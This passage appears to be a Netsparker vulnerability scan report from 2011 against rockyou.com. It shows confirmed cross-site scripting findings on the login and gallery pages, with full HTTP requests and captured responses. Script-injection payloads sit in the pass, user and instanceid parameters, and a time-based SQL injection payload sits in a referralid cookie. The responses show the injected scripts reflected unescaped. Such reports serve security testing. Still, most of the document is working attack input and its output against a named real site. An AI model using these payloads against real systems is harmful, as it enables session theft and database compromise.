value="1950">1950</option><option value="1949">1949</option><option value="1948">1948</option><option value="1947">1947</option><option value="1946">1946</option><option value="1945">1945</option><option value="1944">1944</option><option value="1943">1943</option><option value="1942">1942</option><option value="1941">1941</option><option value="1940">1940</option><option value="1939">1939</option><option value="1938">1938</option><option value="1937">1937</option><option value="1936">1936</option><option value="1935">1935</option><option value="1934">1934</option><option value="1933">1933</option><option value="1932">1932</option><option value="1931">1931</option><option value="1930">1930</option><option value="1929">1929</option><option value="1928">1928</option><option value="1927">1927</option><option value="1926">1926</option><option value="1925">1925</option><option value="1924">1924</option><option value="1923">1923</option><option value="1922">1922</option><option value="1921">1921</option><option value="1920">1920</option><option value="1919">1919</option><option value="1918">1918</option><option value="1917">1917</option><option value="1916">1916</option><option value="1915">1915</option><option value="1914">1914</option><option value="1913">1913</option><option value="1912">1912</option><optio..
- /login.php

/login.php CONFIRMED

http://www.rockyou.com/login.php?lang=en&birthyear=3&country=0&flixster=3&mode=create&pass=3&postalc..

Parameters

Parameter Type Value
lang GET en
birthyear GET 3
country GET 0
flixster GET 3
mode GET create
pass GET 3
postalcode GET 3
sex GET 3
source GET 3
toscheck GET 1
user GET 3
pass POST "><script>alert(9)</script>
user POST 3
mode POST create
source POST 3
flixster POST 3
toscheck POST 1
birthyear POST 3
sex POST 3
country POST 0
postalcode POST 3

Request

POST /login.php?lang=en&birthyear=3&country=0&flixster=3&mode=create&pass=3&postalcode=3&sex=3&source=3&toscheck=1&user=3 HTTP/1.1
Referer: http://www.rockyou.com/login.php?lang=en&birthyear=&country=0&flixster=&mode=create&pass=&postalcode=&sex=&source=&toscheck=1&user=
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303165642; ctid=3; sns_type=rockyou.com; istack=158777336%7Cwww202.rockyou.com%7C%7C158777337%7Cwww202.rockyou.com%7C%7C158777339%7Cwww202.rockyou.com%7C%7C158777341%7Cwww202.rockyou.com%7C%7C158777342%7Cwww202.rockyou.com%7C%7C158777345%7Cwww202.rockyou.com%7C%7C158777346%7Cwww202.rockyou.com%7C%7C158777348%7Cwww202.rockyou.com%7C%7C158777349%7Cwww202.rockyou.com%7C%7C158777351%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=1%29%29%3BSELECT+pg_sleep%2825%29--
Content-Length: 142
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

pass=%22%3e%3cscript%3enetsparker(9)%3c%2fscript%3e&user=3&mode=create&source=3&flixster=3&toscheck=1&birthyear=3&sex=3&country=0&postalcode=3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:27:22 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:27:21 GMT; path=/; domain=.rockyou.com,lastlogin=1303165642; expires=Wed, 27-Jul-2011 22:27:22 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:27:22 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=91131 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9107
Connection: close
Content-Type: text/html; charset=UTF-8


<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get absolute positioning of
var leftside = topside = 0;
var elem = centerDiv;
if (elem.offsetParent)
do {
leftside += elem.offsetLeft;
topside += elem.offsetTop;
}
while(elem = elem.offsetParent);
adDiv.style.top = topside + 'px';
// If the left side of the ad div is left of the left side of the center div, it should be on the left
if (side == 'left') adDiv.style.left = leftside - adDiv.offsetWidth +'px';
else adDiv.style.left = leftside + centerDiv.offsetWidth +'px';
}
</script>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="/js/standard.js" type="text/javascript"></script><link href="/css/simple_bling3.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"><link href="/css/style.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> </HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png");'> <img src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png" class="transparent"/> </div> </div> </div> <br><div id="topDiv" style="margin:auto;width:720px;text-align:center">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div><br>
<table width="600" cellpadding="25" style="margin: auto; border: 1px #999999 solid; background: #DFDFDF"><tr><td align="center">
<script type="text/javascript" language="javascript" src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js"></script><script type="text/javascript" language="javascript" src="/js/country.js?ver=1"></script><script type="text/javascript" language="javascript">function getuser(status, userEmail){ accountstatus = status; if (accountstatus > 1) //Account Exists { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display=""; setError(""); document.getElementById('loginforma').pass.focus(); } else if (accountstatus == -1) // No Account { var start = userEmail.indexOf('@')+1; var emailType = userEmail.substr(start, userEmail.indexOf('.') - start); if (emailType == 'myspace') { document.getElementById("emailforma").reset(); document.getElementById("msg").innerHTML = 'Sorry, myspace.com emails are not valid.<br>Please choose another.'; return 1; } else if (emailName = isVerifiableEmail(emailType)) { var lcArray = document.getElementsByName('emailname-container'); for (i in lcArray) { lcArray[i].innerHTML = emailName; } document.getElementById('email-container').innerHTML = userEmail; document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display=""; document.getElementById("loginform").style.display="none"; setError(''); document.getElementById("createform2a").useEmailPassword.value = emailType;// show superpets login hint } else { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();// show superpets login hint } } else { if (status == "Invalid Email Format! (joe@somebody.com)") status = "Invalid Email Format! (joe@somebody.com)"; document.getElementById("msg").innerHTML = status; } return 1;}// Check if the new email is one that can be verified by 3rd party scripts. If so, return the name to be displayed.function isVerifiableEmail(emailType) { switch(emailType) { case 'gmail': return 'Gmail'; case 'yahoo': return 'Yahoo'; case 'aol': return 'AOL'; case 'msn': return 'MSN'; case 'hotmail': return 'Hotmail'; default: return false; }}// resetform is only called by back buttonsfunction resetform() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-back&value=mainlogin',null,null); document.getElementById("emailform").style.display=""; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); //document.getElementById('emailforma').pass.focus();// show superpets login hint return false;}function setError(error) { document.getElementById("msg").innerHTML = error;}// checkuser is called on sending of email addressfunction checkuser(user){ ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-checkuid&value=mainlogin',null,null); if(user=="") { setError("Entry was Empty!"); return ; } var strURL="/checkuser.php"; var xmlHttpReq = false; var self = this; var userEmail = user; setError("Processing"); // Mozilla/Safari if (window.XMLHttpRequest) { self.xmlHttpReq = new XMLHttpRequest(); } // IE else if (window.ActiveXObject) { self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); } self.xmlHttpReq.open('POST', strURL, true); self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8"); self.xmlHttpReq.onreadystatechange = function() { if (self.xmlHttpReq.readyState == 4) { getuser(self.xmlHttpReq.responseText, userEmail); } } self.xmlHttpReq.send("user="+escape(user));}function updatepage(str){ document.getElementById("stat").innerHTML = str;}var isNN = (navigator.appName.indexOf("Netscape")!=-1);function autoTab(input,len, e) { var keyCode = (isNN) ? e.which : e.keyCode; var filter = (isNN) ? [0,8,9] : [0,8,9,16,17,18,37,38,39,40,46]; if(input.value.length >= len && !containsElement(filter,keyCode)) { input.value = input.value.slice(0, len); input.form[(getIndex(input)+1) % input.form.length].focus(); } function containsElement(arr, ele) { var found = false, index = 0; while(!found && index < arr.length) if(arr[index] == ele) found = true; else index++; return found; } function getIndex(input) { var index = -1, i = 0, found = false; while (i < input.form.length && index == -1) if (input.form[i] == input)index = i; else i++; return index; } return true;}function finishLoginNew() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new&value=mainlogin',null,null); document.getElementById('createforma').user.value = document.getElementById('emailforma').user.value;}function finishLoginNewVerified() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new-verified&value=mainlogin',null,null); document.getElementById('createform2a').user.value = document.getElementById('emailforma').user.value;}function finishLogin() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-pass&value=mainlogin',null,null); document.getElementById('loginforma').user.value = document.getElementById('emailforma').user.value;}function use_rockyou_pass() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-torypass&value=mainlogin',null,null); document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();}</script><table border="0" cellpadding="0" cellspacing="0"><tr><td><img src="/images/back-uploadtop.gif" /></td></tr><tr><td background="/images/back-uploadtile.gif" style="padding-left:10px"><font class="bigorange">Login </font><font class="bigblack">or Create an Account</font><br><br><div id="emailform" style="display:none"><form name="emailforma" id="emailforma" onSubmit="checkuser(this.user.value);return false;"><span>Email address</span><input type="text" name="user" id="emailinput" value="3"><br /><input id="submitbutton" type="submit" value="Create / Login"></form></div><div id="createform" style="display:block"><form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">Enter password to register.<br /><span>Password</span><input type="password" name="pass" id="pass" value="\"><script>netsparker(9)</script>"><br /><input type="hidden" name="user" id="user" value="3"><input type="hidden" name="mode" value="create"><input type="hidden" name="source" value=""><input type="hidden" name="flixster" ><input type="checkbox" name="toscheck" id="toscheck" checked='checked' value="1"><span>I agree to the <a href="/tos.php" target="_blank">Terms of Service.</a></span><br /><div style="margin-top:5px;margin-bottom:5px;background-color:#d6e1fc;border:1px solid #a5bcfb;position:relative;width:305px"> <div style="padding:5px 5px 0px 5px;"> <div style="float:left;display:inline;margin-right:5px;margin-bottom:5px;">Birth Year <select name="birthyear"><option value=""></option><option value="1998">1998</option><option value="1997">1997</option><option value="1996">1996</option><option value="1995">1995</option><option value="1994">1994</option><option value="1993">1993</option><option value="1992">1992</option><option value="1991">1991</option><option value="1990">1990</option><option value="1989">1989</option><option value="1988">1988</option><option value="1987">1987</option><option value="1986">1986</option><option value="1985">1985</option><option value="1984">1984</option><option value="1983">1983</option><option value="1982">1982</option><option value="1981">1981</option><option value="1980">1980</option><option value="1979">1979</option><option value="1978">1978</option><option value="1977">1977</option><option value="1976">1976</option><option value="1975">1975</option><option value="1974">1974</option><option value="1973">1973</option><option value="1972">1972</option><option value="1971">1971</option><option value="1970">1970</option><option value="1969">1969</option><option value="1968">1968</option><option value="1967">1967</option><option value="1966">1966</option><option value="1965">1965</option><option value="1964">1964</option><option value="1963">1963</option><option value="1962">1962</option><option value="1961">1961</option><option value="1960">1960</option><option value="1959">1959</option><option value="1958">1958</option><option value="1957">1957</option><option value="1956">1956</option><option value="1955">1955</option><option value="1954">1954</option><option value="1953">1953</option><option value="1952">1952</option><option value="1951">1951</option><option value="1950">1950</option><option value="1949">1949</option><option value="1948">1948</option><option value="1947">1947</option><option value="1946">1946</option><option value="1945">1945</option><option value="1944">1944</option><option value="1943">1943</option><option value="1942">1942</option><option value="1941">1941</option><option value="1940">1940</option><option value="1939">1939</option><option value="1938">1938</option><option value="1937">1937</option><option value="1936">1936</option><option value="1935">1935</option><option value="1934">1934</option><option value="1933">1933</option><option value="1932">1932</option><option value="1931">1931</option><option value="1930">1930</option><option value="1929">1929</option><option value="1928">1928</option><option value="1927">1927</option><option value="1926">1926</option><option value="1925">1925</option><option value="1924">1924</option><option value="1923">1923</option><option value="1922">1922</option><option value="1921">1921</option><option value="1920">1920</option><option value="1919">1919</option><option value="1918">1918</option><option value="1917">1917</option><option value="1916">1916</option><option value="1915">1915</option><option value="1914">1914</option><option value="1913">1913</option><option value="1912">1912</option><option value="1911">1911<..
- /login.php

/login.php CONFIRMED

http://www.rockyou.com/login.php?lang=en&birthyear=3&country=0&flixster=3&mode=create&pass=3&postalc..

Parameters

Parameter Type Value
lang GET en
birthyear GET 3
country GET 0
flixster GET 3
mode GET create
pass GET 3
postalcode GET 3
sex GET 3
source GET 3
toscheck GET 1
user GET 3
pass POST 3
user POST --><script>alert(9)</script>
mode POST create
source POST 3
flixster POST 3
toscheck POST 1
birthyear POST 3
sex POST 3
country POST 0
postalcode POST 3

Request

POST /login.php?lang=en&birthyear=3&country=0&flixster=3&mode=create&pass=3&postalcode=3&sex=3&source=3&toscheck=1&user=3 HTTP/1.1
Referer: http://www.rockyou.com/login.php?lang=en&birthyear=&country=0&flixster=&mode=create&pass=&postalcode=&sex=&source=&toscheck=1&user=
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: PHPSESSID=o2thibc9jh08ib8t9kegn73vs4; lang=en; lastlogin=1303165886; ctid=3; sns_type=rockyou.com; istack=158777336%7Cwww202.rockyou.com%7C%7C158777337%7Cwww202.rockyou.com%7C%7C158777339%7Cwww202.rockyou.com%7C%7C158777341%7Cwww202.rockyou.com%7C%7C158777342%7Cwww202.rockyou.com%7C%7C158777345%7Cwww202.rockyou.com%7C%7C158777346%7Cwww202.rockyou.com%7C%7C158777348%7Cwww202.rockyou.com%7C%7C158777349%7Cwww202.rockyou.com%7C%7C158777351%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=1%29%29%3BSELECT+pg_sleep%2825%29--
Content-Length: 141
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

pass=3&user=--%3e%3cscript%3enetsparker(9)%3c%2fscript%3e&mode=create&source=3&flixster=3&toscheck=1&birthyear=3&sex=3&country=0&postalcode=3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:31:26 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:31:25 GMT; path=/; domain=.rockyou.com,lastlogin=1303165886; expires=Wed, 27-Jul-2011 22:31:26 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:31:26 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=85314 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9126
Connection: close
Content-Type: text/html; charset=UTF-8


<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get absolute positioning of
var leftside = topside = 0;
var elem = centerDiv;
if (elem.offsetParent)
do {
leftside += elem.offsetLeft;
topside += elem.offsetTop;
}
while(elem = elem.offsetParent);
adDiv.style.top = topside + 'px';
// If the left side of the ad div is left of the left side of the center div, it should be on the left
if (side == 'left') adDiv.style.left = leftside - adDiv.offsetWidth +'px';
else adDiv.style.left = leftside + centerDiv.offsetWidth +'px';
}
</script>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="/js/standard.js" type="text/javascript"></script><link href="/css/simple_bling3.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"><link href="/css/style.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> </HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png");'> <img src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png" class="transparent"/> </div> </div> </div> <br><div id="topDiv" style="margin:auto;width:720px;text-align:center">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div><br>
<table width="600" cellpadding="25" style="margin: auto; border: 1px #999999 solid; background: #DFDFDF"><tr><td align="center">
<script type="text/javascript" language="javascript" src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js"></script><script type="text/javascript" language="javascript" src="/js/country.js?ver=1"></script><script type="text/javascript" language="javascript">function getuser(status, userEmail){ accountstatus = status; if (accountstatus > 1) //Account Exists { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display=""; setError(""); document.getElementById('loginforma').pass.focus(); } else if (accountstatus == -1) // No Account { var start = userEmail.indexOf('@')+1; var emailType = userEmail.substr(start, userEmail.indexOf('.') - start); if (emailType == 'myspace') { document.getElementById("emailforma").reset(); document.getElementById("msg").innerHTML = 'Sorry, myspace.com emails are not valid.<br>Please choose another.'; return 1; } else if (emailName = isVerifiableEmail(emailType)) { var lcArray = document.getElementsByName('emailname-container'); for (i in lcArray) { lcArray[i].innerHTML = emailName; } document.getElementById('email-container').innerHTML = userEmail; document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display=""; document.getElementById("loginform").style.display="none"; setError(''); document.getElementById("createform2a").useEmailPassword.value = emailType;// show superpets login hint } else { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();// show superpets login hint } } else { if (status == "Invalid Email Format! (joe@somebody.com)") status = "Invalid Email Format! (joe@somebody.com)"; document.getElementById("msg").innerHTML = status; } return 1;}// Check if the new email is one that can be verified by 3rd party scripts. If so, return the name to be displayed.function isVerifiableEmail(emailType) { switch(emailType) { case 'gmail': return 'Gmail'; case 'yahoo': return 'Yahoo'; case 'aol': return 'AOL'; case 'msn': return 'MSN'; case 'hotmail': return 'Hotmail'; default: return false; }}// resetform is only called by back buttonsfunction resetform() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-back&value=mainlogin',null,null); document.getElementById("emailform").style.display=""; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); //document.getElementById('emailforma').pass.focus();// show superpets login hint return false;}function setError(error) { document.getElementById("msg").innerHTML = error;}// checkuser is called on sending of email addressfunction checkuser(user){ ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-checkuid&value=mainlogin',null,null); if(user=="") { setError("Entry was Empty!"); return ; } var strURL="/checkuser.php"; var xmlHttpReq = false; var self = this; var userEmail = user; setError("Processing"); // Mozilla/Safari if (window.XMLHttpRequest) { self.xmlHttpReq = new XMLHttpRequest(); } // IE else if (window.ActiveXObject) { self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); } self.xmlHttpReq.open('POST', strURL, true); self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8"); self.xmlHttpReq.onreadystatechange = function() { if (self.xmlHttpReq.readyState == 4) { getuser(self.xmlHttpReq.responseText, userEmail); } } self.xmlHttpReq.send("user="+escape(user));}function updatepage(str){ document.getElementById("stat").innerHTML = str;}var isNN = (navigator.appName.indexOf("Netscape")!=-1);function autoTab(input,len, e) { var keyCode = (isNN) ? e.which : e.keyCode; var filter = (isNN) ? [0,8,9] : [0,8,9,16,17,18,37,38,39,40,46]; if(input.value.length >= len && !containsElement(filter,keyCode)) { input.value = input.value.slice(0, len); input.form[(getIndex(input)+1) % input.form.length].focus(); } function containsElement(arr, ele) { var found = false, index = 0; while(!found && index < arr.length) if(arr[index] == ele) found = true; else index++; return found; } function getIndex(input) { var index = -1, i = 0, found = false; while (i < input.form.length && index == -1) if (input.form[i] == input)index = i; else i++; return index; } return true;}function finishLoginNew() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new&value=mainlogin',null,null); document.getElementById('createforma').user.value = document.getElementById('emailforma').user.value;}function finishLoginNewVerified() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new-verified&value=mainlogin',null,null); document.getElementById('createform2a').user.value = document.getElementById('emailforma').user.value;}function finishLogin() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-pass&value=mainlogin',null,null); document.getElementById('loginforma').user.value = document.getElementById('emailforma').user.value;}function use_rockyou_pass() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-torypass&value=mainlogin',null,null); document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();}</script><table border="0" cellpadding="0" cellspacing="0"><tr><td><img src="/images/back-uploadtop.gif" /></td></tr><tr><td background="/images/back-uploadtile.gif" style="padding-left:10px"><font class="bigorange">Login </font><font class="bigblack">or Create an Account</font><br><br><div id="emailform" style="display:none"><form name="emailforma" id="emailforma" onSubmit="checkuser(this.user.value);return false;"><span>Email address</span><input type="text" name="user" id="emailinput" value="--><script>netsparker(9)</script>"><br /><input id="submitbutton" type="submit" value="Create / Login"></form></div><div id="createform" style="display:block"><form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">Enter password to register.<br /><span>Password</span><input type="password" name="pass" id="pass" value="3"><br /><input type="hidden" name="user" id="user" value="--><script>netsparker(9)</script>"><input type="hidden" name="mode" value="create"><input type="hidden" name="source" value=""><input type="hidden" name="flixster" ><input type="checkbox" name="toscheck" id="toscheck" checked='checked' value="1"><span>I agree to the <a href="/tos.php" target="_blank">Terms of Service.</a></span><br /><div style="margin-top:5px;margin-bottom:5px;background-color:#d6e1fc;border:1px solid #a5bcfb;position:relative;width:305px"> <div style="padding:5px 5px 0px 5px;"> <div style="float:left;display:inline;margin-right:5px;margin-bottom:5px;">Birth Year <select name="birthyear"><option value=""></option><option value="1998">1998</option><option value="1997">1997</option><option value="1996">1996</option><option value="1995">1995</option><option value="1994">1994</option><option value="1993">1993</option><option value="1992">1992</option><option value="1991">1991</option><option value="1990">1990</option><option value="1989">1989</option><option value="1988">1988</option><option value="1987">1987</option><option value="1986">1986</option><option value="1985">1985</option><option value="1984">1984</option><option value="1983">1983</option><option value="1982">1982</option><option value="1981">1981</option><option value="1980">1980</option><option value="1979">1979</option><option value="1978">1978</option><option value="1977">1977</option><option value="1976">1976</option><option value="1975">1975</option><option value="1974">1974</option><option value="1973">1973</option><option value="1972">1972</option><option value="1971">1971</option><option value="1970">1970</option><option value="1969">1969</option><option value="1968">1968</option><option value="1967">1967</option><option value="1966">1966</option><option value="1965">1965</option><option value="1964">1964</option><option value="1963">1963</option><option value="1962">1962</option><option value="1961">1961</option><option value="1960">1960</option><option value="1959">1959</option><option value="1958">1958</option><option value="1957">1957</option><option value="1956">1956</option><option value="1955">1955</option><option value="1954">1954</option><option value="1953">1953</option><option value="1952">1952</option><option value="1951">1951</option><option value="1950">1950</option><option value="1949">1949</option><option value="1948">1948</option><option value="1947">1947</option><option value="1946">1946</option><option value="1945">1945</option><option value="1944">1944</option><option value="1943">1943</option><option value="1942">1942</option><option value="1941">1941</option><option value="1940">1940</option><option value="1939">1939</option><option value="1938">1938</option><option value="1937">1937</option><option value="1936">1936</option><option value="1935">1935</option><option value="1934">1934</option><option value="1933">1933</option><option value="1932">1932</option><option value="1931">1931</option><option value="1930">1930</option><option value="1929">1929</option><option value="1928">1928</option><option value="1927">1927</option><option value="1926">1926</option><option value="1925">1925</option><option value="1924">1924</option><option value="1923">1923</option><option value="1922">1922</option><option value="1921">1921</option><option value="1920">1920</option><option value="1919">1919</option><option value="1918">1918</option><option value="1917">1917</option><option value="1916">1916</option><option value="1915">1915</option><option value="1914">1914</option><option value="1913">1913</option><option value="1912">1912</option><..
- /show_my_gallery2.php

/show_my_gallery2.php CONFIRMED

http://www.rockyou.com/show_my_gallery2.php?instanceid='%2Balert(9)%2B'&fb=1

Parameters

Parameter Type Value
instanceid GET '+alert(9)+'
fb GET 1

Request

GET /show_my_gallery2.php?instanceid='%2Bnetsparker(9)%2B'&fb=1 HTTP/1.1
Referer: http://www.rockyou.com/show_my_gallery.php?instanceid=13193054&fb=1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=9eea1s66tbmof79ujd25v61ml3; lang=en; lastlogin=1303166023; ctid=3; 